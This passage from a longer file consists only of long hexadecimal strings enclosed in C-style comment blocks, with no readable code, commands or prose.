c67e28db0836a803a214230c76c4e57e2997b41aea6a8bed109b814cf93f64ccbb8251b0be39d5ac65fa6dbdfe5b2625071221da600b3b1e51c8e8ae48fdd8b22b48a6d2771c547e61237096319528e58da3aac21571f81c271ec9bfe9a9cc7fb2bd9a541ab900b00df9e09d3678d6f8c584fa7a79a328323dee01b0cc6963bd977c34babfcfc5e05d1ea35a16d1e5aee6b2e79e5b9caa5c28b8f277a8f3637d93953402d2a30b9ab084328a7d58baa284f4cb632e953c7d9ed303f4c3f9cbf748d75f357cca8294be3b39a040a906a82f597bdcbaa526336de373cde855f574cd3db95f2c7022759e1a54ce2981649c23d80dbe7522f2726b89bbf4e53a5b270a6efa0bf4e141e99f44c7f0369f3fa3a96ae93ce781c24c79ad100d89e10e3da385eec9bdc4eece52da78be73cf63e71c147aef39412bb9e00da2ffb2138f8708b587daabd7391d3022bb7aceb927c95a5f96719b1911599ed2030965de7eaedee9df8b214c01df064826eb7506cbcd0353efc9b19f9d085899c1701b7246a72b154f9a3308d00cca7c0b07d6c564a9e4a2b98120076d0ebfdbf2acb619262deee66cba273954a82a010e01fbef818e8080c38e52ad9bb9fa721b059b112db7ea2753b963deeb94863bdb5c7825ee1b6b568a218139cc61ca077769501d7529fd91ca6b2a1a10b0fdbebea48e705f4fd6a15ea16c4a44a3cec06df49eb2c25c1df34731d083e8c0357e05082a8e6ea78ad5b0e232c6b6a4ffe41e33c7f385f0c2221187cd0d40e294dce89cfbddd44575a41a926a91d66ed394216d1340ba847750fae9e81323c1cdba28d67d244a0188015612072c610a14d113553f5d4ee5196a09bb89543c32891f949fe36a4be561ba023967dd8049aef11b28ea1d52721125c4e8bc9f5c2c9abe37e6c1622a4604ebfd8b7fb2c0cd49ca5aa84c113fcf5d573a8e852092ad1fddd30f93be9117552c82c5a97f9990adff18d680347623480c1c85f0a551ec4652d70af17176875824bc3b7fa66f67b9dbbb12035d5aa5c355f38a172860affbd6ee258c5a08b7b7b4dd9c2154eb5904ab60d6cdb9b662d4851b45f6a8fe49cb7b4db21bf6cbc0c816ee809fe68ea79276d8aba33e782b310118d8282589754fe5c43bcd70d4f973eb4f33fe820e2f5295e899afc53b108b02f4f35a9861249669d8702fdb567dc980b345d2f0bcc0da70a5ce1a48353b059acf79fcb6ae52516b3f2cc26f7e565310edd4e24243157e601010a07cf0dd92ab5538ed7a4c5ba99bed08649889d2f180b5c6c8896865522a9e5*/
/*0cb39547f63e78c5539c06edf05c7f5b8edee976dbe6ff07cb190a485e1c5fc4e19febc9d59cc702942d721ac51d6ac3640ed8f715f4f4b7a263b2f6a72c31b637351031e818e1f82945b3dde70a8e4248aa4fb1aff08903c255193ea75790e3809311f66e94d3b11a585046d4bfb3e92742d5e62a5ba183a00ce3fef165f93ece8ee8bc9b03f9c4b7b3c6a0e48e4cfaf6d05ccd52a7685e2c81afc24cca1220b1394d2b89e7407c9e87562e11d01f62f3afaf36cca2b2f247ae0f2907c93a21d5c5a085f37ca8b6bf10d83a7bcbdc886920188eae5c582c88c48de2ab57b59c3254e848ec978a3d4a96869028e9df623fa9a34fb5f83bdfddc3c8154e7551e7dfa32af860db7a53b41c1febf53f80d346e4c50e40d7ca99f54d5e989f2e16837deb7ec8644bc6d0b2541c95ea560e62d33af57cca55399c83fcabf0b80755981fd7c67467bad2c0eb7b1dea3fa60cbdcf7cc5595ae563d5123d8ded286ecf4ff1bb2b584a1ef10aa78e23918c15a92220bfd7920f7f8959e7c804b25e83ec5cb245eee6ee7b2438e12941af1dc4fd88e75785d2b9d5a384ed8c8c601e3563293f0b8780b952d5bb4156970735f80c7a36820b175afd5a5a2674a6d27578df2896c31047e1d1c50267dbaddf1565198b13c0b22d3cd4311c1447fd143b288937220572c72d72e6324e435935bf6766940759313a771945031fdf74f81b9dc36592295bb60afee2fc713c7ca06e39396a2982dbd113097df070a5a2fc5c9470f57a8c6eb414ace9ff1a4c0322e9227b06209da997d631014deb72e8a8235aec24a84d582c34a6fd57fe6821ac5196dda3cc9942261deadad70fd727d2419838c342238de698a6cd969c9b66bed43b9bc08aa11099765181e9e4e6e855d168db9cb4497a6026c1eeec43beee86ce1c5386ecebf45b00ef20b942ba09da6fe6a7ae55c6690a7f300f40c847b6087dce46fdc9736319ad69b528775dc7dba707489a34f4e4d7928d342e7729e27a160f693f9cfc0055e37ca6473bb4b69d2dc8400042e0dcfea720ca06ee233adb81c7ac3254f339fceb939f853b923d41dd5396dbe3b26c6c26cbbdab274695626e54764b6b883d734879b5d266a4832853f3d856a2d4914a00fc505de6bd3f534a5f71ef67fa126e682cef8414b5481381ffbad865c477991081480150d6bbfd5127279c055d5684cbb987e789cc5d11436cd6d9e65f8cb4ef062c387dc19e0dc7ca1c657b9880a01e435281581eb828e75594e888cf1c0a27bff06646495bbd834e800caf7b7cc5e0a33a71bc7e4e8015132f989424d8302006b96a97f64f55e4f7708cdca678f24cef08e7b6ed6d0e5579b3e563be475350d945442c9133286a74312bf8425a42326b31a3eda3e1224679b1b7bf3b9f155405679fb8b551679d049f4f0b514f61b59d3e68002412c5baefb7f6e24b017c75d9b3bae54f3d8e792062d4f97265e848dc2afa927ffaa10d58460645b8aafbf124ec9ef0cce5ac42aba9ec7bba08db176d80bfd36cbd1248915270c62a9effe1697cb86f34b0be024321bc6a287c605f823f34cd445ef56c2e8d4bdd24bcff4e9da783c8be459c7319088620654f640bab2ea83f2dd56a3c4353fd7bfd7c45572dcb676b5899c64ee8ce45cb0d11b282ca10a73e6f94efd3160fb6edbe69fc17e881939253b16eeb4d98517268044b8f52c4fda5744178841a08a30e1168d4b870e98f51591a54218a0327d4b3cdb0b00ff23e82d20774cc8bd59bd5eb8da01327c63d4829bd240ee896c348bed5c405d48dd9dd273cae37f46d9488d974fe807ddfc5bb0ee68ec83abc3a5e6080373f83e7e8624ee4008340915fd28a5138a59da3edcc5b13f9b16074744eb74ea07f399aff7c15168adb084fbd51f61275c6c1b293e09369777532c46a88f0c6172a460b3d8ddd9a44571c36a5843c50b5d19e1c0f141a649e43f485bfd8936f35fd0c530c4b7d1ed8b8eec475adf1b95b9b1302c9d2eca036e519b71c7d0230653d79f3c8523a1d427f4ccaad3b08774ce7e0b8fb89d07a7c0c698dce46e4ca885b452256878d10b96868df3fd61b966daa14156a3ddfc8f9f9f6dec07251e843250f7921b11d6d1e5375e52acb420f4fe878a76a3e3517ee615dde1228ea9c401b24e309db7fcfc8110bb07a69808bb3003a497c8e424636866af341169f8ff1b9b07d91d21d65499d746bff2dd7ea1f764f9cc3966d1dfdcb22f4424e155eace263f98c90c1c80e41e7703126785a951d443806002a460230591ba4465cfee1f11933394f996b7358de5989a73a0a22661f9c603ddf5e93b6264b0376c220c9eb5790f126e9730f063fda461da6368ccab82f4efcb5fb2a1c955edc016dc7aeca3695188b8e4f379477e93e81fc211be328aafba10c6bf6441e3027cfd824bac0428eb8bdcc251d7bc2e17e8785aaaa67d240195a9d94a1121488c3374219852a76c1a658e3be7dde1a25039519554a62ea1b8f1966b9fea5491315262cbcfcef24aba3039d49a83549e02f38ab3c361ea043e5f59813b643fa178e0956ff07cfe630f131d840bc6dd342cf6d81252d3e3364c9d994caf353e6d8a1b81505c53116ad70bde44d155c66c68a210f15112be4a053d8e1db23eceb1a43a2327a66770061c1c4eb788b3d49e8282a5be29c152636a85900adfe4abdda938cdee9d19b9dc03ee4cad10027cf8debe8e475ea1a32e675cd5252a583cd88118071f69f4a7b2dd579b55ac71219a9ee26b0e90aaf6c3d050f0258906fa16310dbd02e8c87dd5cb1f9a438a8ea612ea4660affc462c897268353727965d36046*/
/*fda90840f877198b9e3a0d0bdea9eb11a1a62bcd5c9feab7d6451e4baf3aca8b545480c32a397842eabc09c375a0312d8c541702313d12bfc45fcdbb42d493afa7eb665a935488cec39de8dcbe637abaf99db057cd84a7501fbe3e6980bd908c4092e8da7105d7cec060f20490ce3dc6ac8db781ef5910970b38cbdc10fbe65da1705f0ef81d75d945c1586bae3997712b8502156e6879b8b65ed976088e1b0b03960dbc07606e22567157abae2234ddbdbe16f97bcb7717c03d9fc0afbd2fea8782527a516353b572983bb48a69c82053684fb769ab6e36ca45eb3de6ff040129355c5d88b0687b09538e719b88832bdf5ebe6b946924ebea8e720e5fdb0daf8e7c768c1c11f053f9362ba1d021c68ccb78ec984be4c1e07a41d147e9bb607d8aff011c0892178b8bb42f03fb9c95703e7ceea011b1001bbae4a165f34c15052f7ebfbb42389ee6a50c4401a6202c464d264acbccd16255114c9de5b3331566f38a846c2cad59d746c6ce809e6b4d6208e8e19009839302ef5a55a4d48c0572c3e700857cef2c4b71526cb3cdbfa5b7ba4db395f43e29e8aec55a700643981f38426ffa2e9364aa89c50bdcec600e54f33a8cb8ccc47288dbcb32d41e21cdb79f3785637acb42a08275d11aec76082a6078e4f22000dbf1bf9a6bb6a8bc7aabba5add91297ebe365d2d4e744ce720d8bcc0659bbd6743397b27d1231c45c1d5e2fbff8afeed52c0bd976b656679fa994ba0e73afb8bd66d382d2602d8c5ace8f50c00311a8f1b70f2f5e8e30dd476eed59377ac8307007fc8ee0879dea5866ace0ad0350b6fb32d6c534fdd5fe49c39f8bf677ce8e5ad9e722aa1ca2cecf315b00e84e97a6bb7fad72a861ddde615ea63eb82496675177cc0a6b32f66893a2f1be5c0d744fd78b56da24e32eb47bd3a60feb611a04b77f285f203addec383070c58212c560d171178273a4afa6c4b7cb1a3840a98e99cd6339f57c577ce3fbfdc23c46a3f733b6c897d1582eb536679e2ed8f465b2ec7eb14016a1739cbd07a7af9ffe5145a93115320011ac4162e43f9330600fe08d77cc256d7d4ed364298118ce610383771b54f75021d6d435c3d1657b47d666ddc0573dbd014977ee14aeee2ad3a0f18038ae49d1f30ce1bc207b36c21b8c2d8bca40e85011987acf99582380926192cd89e502d70b3633c7103f30fd5b82f359b32053ff7ee39d11e429003bfec4d3d7dd345f65c39d799b3a4815ff53927568f6fd56d7a6e0491a8fca4ba4b996d9aa540317563bc62a1c4560fa3a0dec6f7d5530f5e08dccd651e36e990a2e15b42c7633dea6090f75a185f25e5977000bb6a7bd2edde674b05a49918809a729b8ac9f71ab1a4049221c92ca0275a9e9feaf90c7b0762cee267bef3884d3058ac3b3fb7491cf5f2c82c2e8985d423ce25fb6382092739acb90c6b216d0ed9e671e96a72de9df32c6fd48d36bce156c787c80b393158129da30a8cc04452604e5372656f3656d2202e85b0a9d902d758e53874855cd65b32ae4de1f51ea52300b18c8b5c67a1515c2d28dacbfb93de17371c0d750a966a1bfc3f5fe150bc6ad570396e8a801eb73345c99076d13161f4c3b1b91e13e3fdf286fb13cbb0069a59484cf9a5b2bf755bab81393674516098b7183d9e7624a52e86f41646f2725659b448b4875afca0086ed45234a6da074c2699949c89f3166ef444633b2fde2ccda72249bc3b0935876ab3551b0fe9b58fe85faa766615cf7f924d9d66ad29aeac369a203563e5a326091afe08cbda68a7d2d3af05bdf39941d06cf36c586099e93ae9ad6bb0e6aa3a1de141de2962af8f29ad570b1588b528a972df8cb39691510695a0500cfd0aa2325ab9a3b2743e31308f51b47881855882d63b939268aaac57dee18a2fbd59225e203f7cdde030131051c6022e0889a322a2e1a5c1b7945f35335f03b3f016724aaa9a691797894f852e8f5a28e4196d1e11921645029db5d9b1cd8ae49e85dc9d9459775284cdc815c403a904bf2fa5781471984e1b87da011dc629e2578ca03264c5e024e20d3ff29967facf0fc128772363b8ef04e49dc6d63b2e831d504f27381e2147717fc15aae312369ba46dbf66f1557087afb8be1447d4945e049e9adec94ca73a2edbb5d8f7c93b41af9ba157f826685c39aa88d1cbd5f023e339a67cf7b46a5c3152dbf38fbd2a81118e0671d9229e7b98017cdfb09e743659d70579d0582b7c793f3113693f01ca8e9861f30ae8c9e440ed3020b0e0587c2367af018f29a40e24b0b8c7749c9430e2afa295e40f4056ca48f3ad9366354b3e7f11fa203e500bda842d0a26eb67260960c9d30603849377c5b902bb624eeb194739e97e72bf81a26e50deccae9a857004d28d7da31278930761ef04b060777fb9ade6d6e73c09de9bb38cc7655d164a398926f91aa77123ed781c792bc2503c361299a9df5f2b99ce5a06307ee7520440ca2d01f0f98d5fe02f6e87ca462451859ece4ca31de4f9936032dd1724fafeb006aa1cbba4cacdaaa2f01f2dd6f170905fa8ec9ee17861b84e3db9a058a7ef71eae2d51596ceec7fc9ac421caecde65139dbf766291273bbebdaae706a26055d41efc4836be35c5d8bb3384a3e07a0d86d04c9383260f3013ce0344a4cfa19830a23f89c95485a2cec40f9a7ccf375613f6c4616b0583bdfd82b051fada251dd62bbc336394ad6848b53d57db6dca57220a24914cb694984b23213942a5f346a000cbcf1cfd594ff1d0657b3df51ac7f69e08e441c4edc99ef296707827d93072d4db84cb932ba6facbf61d1dcd2ae9b50ff165a6*/
/*d11ea41ff3b10c348f03e32390c57b229ed7f85f735c6343ba2585f4b3afc9e5a1eab278231488ba7c8145a049ad02f109b8da7fe2679f208ec742d25bf1df6ab23a79504f0bbcb10af6352551c628d98143cbfa7b0b3aac22facbf951b0bfd09bce1883d2efa151344b140fcf900a0c48dc25b170bea2a696421affbab572e8b287b73a718a19d6240cf283765e4b028c9da07b6fbfdc8cc3587ad006fc72aa13aea04f3d2c8399b92d6f8b171f37847a1c50f93f9176604446d34d3ee22775ac18370a8794adf69c3d9dde2add17921c50f531a6644f6f1bd8be4d199713cdc118250692ac66df93e758f5db73cad456bb5f0a596ef4c91d41396601fe1c873e3f114f05b4ed91b53e20abdda2970f90cb6ac5d16fe6e83e6988b0727a725c378124ff29e2776797a85cf1bad04c6337f83fe0b28832839e66c398b7a1152aba3eacc65ed56889331ddd1e4d3c281310c9bcd550db1d0e1381e422be684684045e78e1b6c8b6db6976c4bb0a65588c00b77d0d263c2289794b90da4cdb532e18cf7f12ee7463eaffb298727c143f5b41d623384cf54899a27b5c8e23d3dc77b3bad73eddb6e571c4f3ab59af8788885b004e328cfc07dbed3bb02e502728b011419d2f2bd17621ab497b12ce0698731c4ad0c7fb1b207a960c4fbe5607be56895aaf22cb71fac1fd6c90a913d2e375b91c9a6e0264e713172867a2fcba9c40c8dba472c7b6ec66f28f4f3a2fcab8696df6c9e9b734d06c336cf76051265b5c40590e63cb3ce3aa8fad0107baa60117edb9501e7b5afb9dc1f1631fb7b0c4c4288d34d23360bc01059bc037d10b0728785bb6c8f8b5dad8831bc1ec4a582993a5a239b64a6765dc25a4e843a2fe34c441a6a0b9bd89f028d81e282e9817c0756a76750af2ff6d628b9ab1fa701ba28da99e2ac44463ffbf5588d0f5aa4c27aef07ec7c92295fd8ec743695d4adb31cb40795cb98baff6df7aeaea501f0b0916852d620d167c45ab36fb710c33bdb3d28c7d3f55a1c62b5a97d3ace70aae188067f111dedc757a28b6ac9ac441cfdb8f1dab3ad0a0fd7c65c782b7a1f0c3da8b9b75c24efabf51d9f8b6e3daf31cb508b81a25b63ddc0e1e8884f816106931d63cf705e3fe48d16b3abe42468dc9c80a442fb31295ec1266a675f845510d10e11e74e0b31ade7d019082a33fbc2629f959fe5965839b88e05cb223358844c0b04287995f644ea9641340b7883a4eddbd16cba8f76625df85462ce1591115f4f8d3163e5a2a22602754308df778471c5315f04b27ee142ff5aba99ed67133d4b6e309664dfa99dc3e321fcf919bb476b88a54e6a3be616f2a8aa0efa517a35a9401a323b76374ec5cd697be2227b121f8d5fe5769f9e93720070e6078e8fe4331dd77fa7814c0eb5f32aea0a1473955e1300337609d268563e2a99be298da5acfb11dd78d76822adb652413cde02b0e9e776f193374572f705e4029507e09f7737bf7f87337b97f0041894141837c88b7b94209401d2a7f5bb1f2463aec1ca8f834d43d926dffa651f72a2a5d25ef723cc612ed1032b6e6bf0351418656169b60470a97d451497db19d9306e10754621d11680c4f849d0b8366af949811dec752bfef3694a2dafab3b82b7f34ae6ce858c6dad0d8cf78b9ad96b46541135e31f6abcae5f28923de291d53dddb0e783fef14ef83d485512e4144cbaa8fb8d509ddc8ac0b7477d996f47906848f6d46cc9d360370a75c9b7a5e53f132d73beceaf15aea17cd24dd2f602b117628bafd2912cae111db36fa8732de2e1ad1c085b57e80b75f7e3abfee7b9dd1a8149d2e2fed79312312e5fb63ee787c0b8506056ad2a57ea5641e3f2da6d9dbf076979b6cacd7363196a229c98dd5a85d079b94dfb8bfe9425cd1d16e071afc144c95e26320bcf685a6e3579e1a4ed655722ea24fb1caf2858a13f8dfb5ce685db96182bc8c558dbf832c21810c50993d56b495446885d374e58353517f18b798b5f7972ac2440260fd61ad254b1f42a204b3a85ace1bcafb88cd1eb53f039c29a11ec8b9fda14519cc52922053b319b3ed9b62c800569f43e5dfcb46808a25e7393228f5464622faefba6e8649c03e4a350d576eea502f141354eae680ee40b50c0f161dc0bc53521d761344c96134a01abab0f74fbc5a19ce83d4857bc26fb01840c9de25d5811f84c46b338b92c3542980f4d5a9ac4cb7e98c7a74a6dbf89ae9b5625e786c931ae9172474659e92e2152cca77b0db8b25ec5936280bfd02c734e409def5f7e3dc0e11bf17f019e27e8210ed2b25c3a0052f9bb84bc089066f0eebb449f5baf14b0a4bc76406c505b3e923b4622bad1ac20f40f22071287951f85e63dbaaf044f6ac3c10ad5724a2d2c770ecf24bc01dad53838303fd168e625b1c8d21f6aaefda5745c9ab3382ee19d0b60a4b473057e78c9b4dac968d8f162cc9f8b4c447783a93468cb172e5f412ccd428b8a580d47af847b4faa3600bdd021395f68e6cfee00c4383a8c5e12dd24e06706470b99a31b1e92df025f1cd56970eb8c03214ca72bc4dd07680ff98af3c7484820c848f485080be72041240952aeb62e47a54924225e569c0f48cc4545b904c706a8281f9c8c44924cc0aa0bb5119212b58dbf22549ae01295fa7daf3a62dde6c277cfa0cb1d29c5eb42afb9e702eb2885900535179c929eddfaf05e59047adaa9f086c59c034141ba28affe84d07e0ed47e7b2cd943b94507c80ba8100921f82c1d5a861d557bc2dd360fd487cb59b7c5fa415f86a2462e8500ccf6e4f6b3bdaf12798edf50f21f48cfd7163c39df70920*/
/*8995432c868bf67b385088466a1c3949062f709bbed60517fda1e3b6516c362506b2e22deda22b174e4bc50acc6608859fc06d809f5790afc9feeac5b4c1e0843d906391037d2518cf4b53e1fa159ab4d2fc969ac0ba6082de3cff726d5248881790a904d4cbc8d30fbe0ec39a9322b2e81ff96310e28267acc3a442349e457342df8f48965570bf3ecfd7b4bb15c60e73b90a23f332279e27e81c3364cd452ab169d629bbae9b34bbf5fa6fb775ea3b5b5b348bac5a41a266c8ab7dfc66865a7dd9e8f8802e4fde2e264d52b933f5ec631d33d623dcdb90352c795de720b79c8853fd0cf060206c268b5c9d906cecaaa65a4f35fce0958f8b3dd8f79f3d2ce0464b71addfe27fa1e6146dd7af759b037d0013ee3d6d65f2b471499d5f743b5a7a40a4f2da1d9839fb504dc3a5799e47061f4bf101c4c58dc2c816c409d01cd9969ee574757d7f627b4cd6cfc67347f9697373ea4737644262d41a6058de29024df8b8a79608e4958d842fd9a2812b1cf7786c870ab4b327afe0a1da70e77a13fa1ec60ac44608dc261ce8064754c11270dc39b45921dc2cb27f56535019f25d8006480a50c1b983a2467bb7309fb71db173aff45b9ac842cdbad1810d0b853642a4c8fce5b1375f2307107daadd304149e9ac76a0024890a1113aa139311219eafead63fd4145436ea538824d0d759d92260901fc91b773abc836d0904794ab1826bed1059b0c6be0aced00d60f7a9af2ee7d34d1c3e496fa19a03d6021722f3b285a6926132314d971a7bcaa0a1156fffeb5565e3b1c4dbe7161fe36c67fafca63591258dee5b491ad5e220df4d646e8fa5a6cb3951289bbb7095ac3a09cd7ce0d86b89d9b271e785c1c5b855d6e3078160752142d11b75e5e05827f531dfef1707caa24a1a33238f4864ffb42bb830860e7c282b13bbb8d1b1f550b8e32daff956e924fb9c3f3c5d48269c7cc81b321bf2cc0eb6e02e149cbbbe2c8a0bb0f771e48cfb553a13f6c5db40172bf8409a642bff3b5af690aae00ace795b76a19ffe23e3a2db7715b13c03f5354340a29d78b7e0821c41837ba3fc9f38fe20030f56740a32604caaf98479f2c1ad8b1c07197031d7eafe22afa0db12306895a04d5a67a14fb91231f659dd6c6461dfa20342f4670a5b9c76f1c8e008139ce192dc347617ed69bc49ef843d5a34b950cde2b5840f0d8a25c61920360c3192b8e8b51b8eb799b8b40f18ed903d9b490744b8baaab2e719d713ca1861043df39f4e360b7a516351e2bd8a21ec87c0837215e26e47d5524953ceac0389c0cfcbebe9118d0ca0a4f860dd136e9431f1d2b1c1c65b2f99b066e5041baef56db34d7a2541ebfc6dae238359ea418885719ea2152ec48310d07b406cbbb723c57886b979f84f46dae04131c591ab7f643a8fb3b675405c3fd9af658bed3d45592c95521332c69af1343f7ebeb0f4b18babb6acb551c78dc680f85a54525730f58a8e87c0fdf5c40f0ac3119aa75a01229c995d122ec1fb5aba3baa9b556c62ca24b8b567cc3563536a9b226eb76ac99358a62eb2dd262ed1ac5551be2d77aa95601f091d6a8652f79a79c6206c5c7ca5ea48fc92f63651cfe2e37eda2811c6fd4f92326325257631622c53cea4608e35168c6bdd77bfe629a7116acec2ab39939d6ad5a8943173ef8afb84601f27295d7453662c422d396628dbe64d9c3c8aad6d1a813ee561594612ce175e3f6b8f755424cdd69e9fc89881b115828eab0358bb7dcc37d9696fdf5dfb16e2ce066fb9d256725aae47750d815b7ffaa02256f4dd88b403a3e313970ee20e4e143ebac5c3462af2cc1d4ea0eeab47bb08b124ad3a55e1b4634abcb7ba8da9e2009486772fddd23fd4d7d20ef32f452a3bbc41d7a04b5844ca97364f5060f0e9cb71e086d53f6591db0eddb29639336b6395057a1572e718697a37ad22db45b43e08c548c5461848c52d5ace4370fd3e69db2e8d18669c3cc0fcb8888948ddbc54f68f5d4d6a612ac2d1a403506c6e255de2eb84c243ee18c340f85bdd46a179c8f9d63df7bd47a960f6ace955eabbb9034dd13ef0fb7c42c88ab4c77e7650f7f976a3e1e3bd0cd4b356c6fa947c053433088956087c4db5fd9013135b4845939001dea141db17093a1379e64aef82abd326d481a0983fa1e9dca33146cee4ad5df6c503fcf056de7200dc66bdef21fdf75c1f7b7e7e487199299607dbdb462456e30c63b8242020926bc42420a621c534b832161b14091c678aaa2033dd7e80bb5c6c57e8cf570cd378f294f39b617c32eea9bc31799ffcb3da18e72dcfc05765ededd63e77de823477abbfed02d711af0cac5e78c92ecaf7110b1e9ab3fc0a8f57fa65eb643d194560a2231313b527cdb8e7d19749db9df423778bd5b1933e8ecd281f20994604e6a4f0b4be5c937835cfe50f947e4011b2599e83a63d0a7cb4ba60c5b3889ed252d9dd25f21e47118534d928dae9de3febb4c972059658af8ebcf8d51e6a5b05ded6b7cbdf20859914e13c0e73fca324b9af05607e6fe33d205fed55b2f7fbf86b777650cfb5e088ed4c1436944c55926d577435661b10d3ee5bb2a106f07d7d94de3a98a95775edf3790f9c5aac734774161cff091cbd917b6c0c41cea17e0f11a07bfa3e75e25c580f4cd30340385b5b25b0b3a57e15bfd1c226885f36872f3c423b15de5b3e9257fbf200459d3988717ed7cccdca33382ab6c5b77e9a7c9c888bb146cc9e7e0e061081b11b3a847cae9c2bf3ffa41735408136c037ddf6e72d0d3ee1ff5a08f5802ec68e5da2abcac4c171654e7c2db86869b8b708bb0ba40*/
/*f036d98371996c65c00963afc14bf2199f4fa1853cefd9f7e33c996ef06e5b0fd5a1f026d5a7574626bb07458a68bf277cc6d4437507a7a3a3653c1592f8e830e166824fdcdd8f5c27215cdb9a713da2ac94827ec161b0a033e0ac77ca36f2b64f363a5f41eeb5f594cec786392187f24194b1eb1650f31c01b3765e040b5e02bba55d0f5fa51c7f0fa55c3c961ddf9fefaf4618908504753b7971431713b03ab6710a4f76e90c36c2af55d36acf47308ef7015334e0073c84c7de1b7afe172184cf2a06c4d977cec14d7ae932e62ca4fb87e8d6b52de9d7e047b952e39247c4a86e280c780b688e7157576074a55b64cfad3a233e9d8d96824d75229be47cd50900f3a115ca89a7157cf5d1d9765fe5eeac360da4ba87a486a9f1889e4a73cb8dac62cce5fab29cd5686cc3b07fe997cdcea580e71f564fae205f50877c50d1d7aa21d0ec0bbab8ef9ef75e1671f2ee2978cd657f3046258e78f4653b6ebc01e25cdbcc51f56a21b7f7cbe2f4a279f76b0fd8601dc43e06768509c21eeaa86f7ef1c49db420dbb33cdcd296519a9b53816ddcf9066792a07026ab52a56b7243a4b5b3b3a36b2d80d314a80459735d9773e2a189c03f78a140664575c7c6c4549095d19d6798fb9295739e08a26939cce7a997b64c05910fe8f2cd0147a15484ae83009a1f56dc5d054ffcd13b6bc3541742c6d1e1f24431e21525e44987710ab63c31c7e827796ba6e5cd089a2235f0feb81e49363ab515e1dc2e794be7453c88d5b4eb75bc38da9ab43ccb5d5e01dae15f6c862ea118175ea4742d235004361e45da9be0ae9f09ae374bf8c53859d8ef1821dacc0eda18724d327144df3c761495d2281586306c9e4556b4755422c383663861ee9204b8e9935f065382d5afb26fb90a3888fa24a4c951fdcd8b2fb9dee627251dd6d131c6b5723bd6130b1769742dda9f1453b3af49ddeaf1345269cc316ce31f86eb1b2d3ee87d07d4fab75b42896808219b833cfe1b3473d753a56b7afd76d2899a308b0737b3f649892d30ee20e80429eebaa736fefde162e6a9cd0d4b32a55c4649b1a3c5a52032c5497e0d2139a84dae5757cc532ddb0d481900dae975937c498c1ef1c4fca993439086555a87f3c39ec145950c115c4c72ba58ed68e0e9406a6a6e3a3d2ff1d24394892bffcc2d98d633eb674f9905f02a9e49f25a2696b8d919b93a7f9fb7bad109d49b1c7bae6ef25771272b1f416485214339b81c048bbd5e5a02d7ecfe2dca7c48bde1830048c5152afa46dd458d425b9fa55e4177f0ed85683e1751506ecb64d8dbd9924a115ba1694fbf19650aba69724fab9367200c4277616b4306ded85480ba4e305174a8edd9618db75d1615f59a59848becb998d446bae5d94d0caf21f2593b867589a035d883d8a33c33b6294cddfbead0c00ff6c9c84e667e21db1a4a6133d226038f1db3f907742562a4878c6a58f327bc23fd07255387118f9d2a1d256a2e984d8eb1473c0aa1d7cc87bb08478c396aae03b9ccb9f72590a5b8e35f91784bb0743f38ad46a24becbe3050d369863f3e18bcc61fc2957936915950350dfa3fc8fdbd259497d79a6808fdc3e200d7449e222c403c8570bd8edccc095ac878a0460e31cf882e18eccfdba783aee12a95dc1d31272423c7ec9e8b449a2934cabec3c2bd92694ce9861d2c48c765c574941cc3e5b97bc462e5a63ba40ad89e75b943c798927b0345d6dd5c4dca8a0edb4f48e3971519f672d3af39b1d335d346e5c920132341247ff67ea7f5a3c0fd7ca9c1d1a2a9b90d9536b4470abbabe065cca3334a515b93f2d23687ea7ff4446920a4484a22a5f01b5640afd7051e05d77dbff2dc6ac1c62981f7b975d65d7e1228bee2a5a6a6338b7322cfcb0bbdd4fedb6ff8094847a5ab19f7b2e366006eea1ebe1f345aac161cdc04338c7a5e62bfa3b3bf03c460b8f63afdcc79290ddbb6bc36e83216bf1f68e73792c2e60c4bf1c1183f94115274ce09251d4167d4e460d69b7b19912bbe6573d17b38bccb230a1c3018280ad6b06b8a92dcfc0b91361079e2978ac3cc01e79ca5236346ecff3d2cb690ca0a16c7386e93e5d82f7f624accca2ea907846ed310280a488b29271661cd3bf0a7d93239338ecbc884c82a7674365e70c911d6fd94401f35d45cd414c75baa99d43697d48bf6d5ea64ec8caa765f3e203600e19ba5c4b924e890b2790c523e37e1b4771057ca00fbdb77a697d9fd791772fd81c00eea5141040f7da5759667f4fd934142511cea50e30caa7d5e044ba42d646af9facea14c99bc36c2ad3438ff38b67d0cb4a3f9f4b45fac925588c8f63ef43c471ecdc2aa51923dcbeafbc46e0bf579d140c8985849743c6dad3ca99b4f04531dcbe6210481273573cdcd2c003e27cec685ec93b17e9679a91651544585ce1548d2d0975b4b75fe52c111f817ce3265399098d54fe32d5cda2c836f93617ad8f882e8bdb68a6a47c0228da92e64896a69e748eee1c49b825e26f15a286c17cd0b8a27329e1774b5c00c77d29c14f24e713503acca503cc1bfe8ef4bb35ab6797d41c4828366c6da678bfd8c9175b7a6ca6b45eaaa06cf8ca6a2079eb130753b73259b093ccfc078754d1b8ecb183ba2520406ab1c163988068fc62f1929f374bed7ea1633a92471371e18c2b6a20c73a22ab0899d653ce4d3403993945dcf7767e497ef8e62b3a6d37ad88db3d01b551cdb711c03e675904a9ac2f479813d6e6d5b1ad57521cb8bcb7e7c7b331c0b0b1ca93f89be8e00dbc8d95b20d8765a056e2b6e354d4fa48e9ca5548b09a35fbc3c1b2f926e0e*/
/*f1359bf6c745c0a3d9710d592937c1fe6eee0a6f63e92c6ea0d11e09fa4d44ddd535efd4ac29f4f7c4cd076f44295424b32d24f40f96be76ddaef0472a879612e3e6ab58432726761536754d9421875c1f55b492d33217529378e6471e5a56d2514f1605b50749bfea534df2c6780d69a3c7fe3c0e1805b3bc3f390639d4150ad9b5e7f1eb5764e8c5e66149e4fd8a8173354de7cae5537bcb9f5cb4300960b679b64da5baf321a961d9a90f6cc74a822f748c178fd5b1beb7fcaa74ac994f26731a260f773604043fdc3cccf61c20f90f6de01f33740d0d3f8f6a71eb33ce4b6eba2c257dc443d71f74c484da93e7c263ab030d42136d5b11b370d8dd8b008a20bbf62c63647e46f29a2dd0bd4c7b9c9c5c30ccfca67db5588ef75f3eec7ef75b7fce09654d9a3a0d703c24f201d02fd3c30b38998c316f1c4e7e4b302a5841beba339889884a9183cf27fb90d013874d31823d597a3bb3e5d35fd557f3b82a57a81826394a5fc1a6df81c144c2e2da65424f2e6346220445467d4650dbc2c483ed5c4061b8bf773b3e9d3773a959fb1fcb4963154913dd30a1036a8a0aeb972b2eec486ff50486cd7e704ddbb887398fcd592430f7d8182c867f2ab6ab41b1b23bdbb8acc11c5f8fe095cc0cfeae588fd2aa3f35710e5ecbd201a2c2befc7ce26c81cee17a98695262b73cdc6f91c08387b584d6db3759ea112904e798f78b3c155707fdebd743ad977451691687a42e7ee957a275f0cae41dff07ff774fb934c11338abe38ce5fc80292fd7f92067d